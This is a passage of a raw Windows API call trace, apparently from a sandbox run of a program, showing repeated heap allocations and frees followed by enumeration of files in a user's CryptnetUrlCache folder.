(HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.985] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.986] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.987] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.987] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.988] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.989] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.990] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.990] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320288 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.991] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.991] PathFindFileNameW (pszPath="") returned="" [0114.991] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.991] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.993] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.993] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.994] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.995] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0114.995] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0114.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0114.995] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0114.995] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x130) returned 0x328fea0 [0114.995] HeapFree (in: 